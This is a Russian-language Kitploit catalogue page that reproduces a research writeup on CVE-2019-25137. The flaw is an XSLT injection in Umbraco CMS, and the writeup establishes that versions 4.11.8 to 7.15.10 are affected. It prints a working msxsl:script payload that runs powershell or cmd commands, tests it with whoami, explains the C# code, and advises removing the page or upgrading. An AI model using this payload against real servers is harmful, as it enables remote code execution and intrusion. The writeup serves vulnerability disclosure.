Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-25137-Version-Research — Разбор, исследующий полный масштаб CVE-2019-25137 | Kitploit
Инструменты/GitHubGitHub/ickarah/cve-2019-25137-version-research
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

Разбор, исследующий полный масштаб CVE-2019-25137

Репозиторий
1113 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Исследование затронутых версий CVE-2019-25137


Обзор CVE-2019-25137


CVE-2019-25137 — это уязвимость XSLT-инъекции в Umbraco CMS. Уязвимость присутствует на веб-странице XSLT (Extensive Stylesheet Language Transformations) Visualizer. Уязвимый URI этой страницы: /umbraco/developer/Xslt/xsltVisualize.aspx.

Успешная эксплуатация XSLT Visualizer может привести к выполнению C#-кода на целевой системе. Для эксплуатации уязвимости пользователю требуются легитимные учётные данные администратора Umbraco CMS.

Доказательство концепции для CVE-2019-25137 использует элемент msxsl:script. Этот элемент позволяет использовать в XSLT-преобразованиях дополнительные языки программирования, такие как C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

Полезная нагрузка XSLT пытается выполнить следующий C#-код.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

C#-код разбит на следующие операторы — все определения документированы на сайте Microsoft.

ФункцияОписание
System.Diagnostics.Process procОбеспечивает доступ к локальным и удалённым процессам и позволяет пользователю запускать и останавливать локальные системные процессы, данный экземпляр называется "proc".
proc.StartInfo.FileNameОпределяет имя приложения, которое пользователь хочет запустить (powershell или cmd).
proc.StartInfo.ArgumentsОпределяет любые дополнительные переменные, которые могут потребоваться для FileName.
proc.StartInfo.UseShellExecuteЗначение, указывающее, следует ли использовать системную оболочку операционной системы для запуска процесса. Устанавливается в false, так как используется powershell или cmd.
proc.StartInfo.RedirectStandardOutputЗначение, указывающее, записывается ли вывод приложения в поток StandardOutput. Устанавливается в true.
proc.Start()Запускает ресурс процесса "proc" и связывает его с компонентом Process.
string output = proc.StandardOutput.ReadToEnd()Выполняет синхронное чтение данных из "proc" и перенаправляет их в переменную "output".


Анализ версий Umbraco

Поскольку Umbraco является CMS с открытым исходным кодом, я получил различные версии установки с их сайта, чтобы определить, какие версии, как старые, так и новые, всё ещё могут содержать xsltVisualize.aspx.



Анализ показывает, что файл xsltVisualize.aspx присутствует в Umbraco CMS версии 4.11.8 до версии 7.15.10. Этот файл и вся папка Development отсутствуют в версиях 8.0.0 и новее.




Тестирование Umbraco 4.11.8

Чтобы продемонстрировать, что самая ранняя версия также уязвима для CVE-2019-25137, я настроил тестовый экземпляр Umbraco 4.11.8.



Сравнение xsltVisualize.aspx из Umbraco CMS 4.11.8 с таковым из Umbraco CMS версии 7.12.4 показывает, что, хотя есть небольшие различия, функциональность страниц одинакова.


Для тестирования эксплойта пользователю необходимо отправить полезную нагрузку в поле xsltSelection.



Используя предоставленную ранее полезную нагрузку, мне удалось добиться удалённого выполнения кода, что указывает на то, что эта версия также уязвима. Изображение ниже демонстрирует выполнение whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Тестирование Umbraco 7.15.10

Чтобы продемонстрировать, что самая последняя версия Umbraco, содержащая xsltVisualize.aspx, также уязвима, я настроил тестовый экземпляр Umbraco 7.15.10.


Сравнение xsltVisualize.aspx из Umbraco CMS 7.15.10 с таковым из Umbraco CMS версии 7.12.4 показывает, что они идентичны.


Переход по URI /umbraco/developer/Xslt/xsltVisualize.aspx показывает, что файл действительно присутствует.


Используя ту же полезную нагрузку, что и ранее, мне снова удалось добиться удалённого выполнения кода, что указывает на то, что эта версия также уязвима. Изображение ниже демонстрирует выполнение whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


Резюме


Эти примеры демонстрируют, что CVE-2019-25137 присутствует в версиях Umbraco, отличных от 7.12.4. Все версии от 4.11.8 до 7.15.10 содержат уязвимую веб-страницу и поэтому должны быть включены в обновление CVE. Защиту от CVE-2019-25137 можно обеспечить, удалив доступ к файлу xsltVisualize.aspx или выполнив обновление до последней версии Umbraco.



Ссылки

Оригинальный CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Дата выпуска Umbraco - https://our.umbraco.com/download/releases/774

Версии Umbraco - https://our.umbraco.com/download/releases

Определение XSLT - https://en.wikipedia.org/wiki/XSLT

Использованная полезная нагрузка - https://github.com/noraj/Umbraco-RCE

Скачать инструмент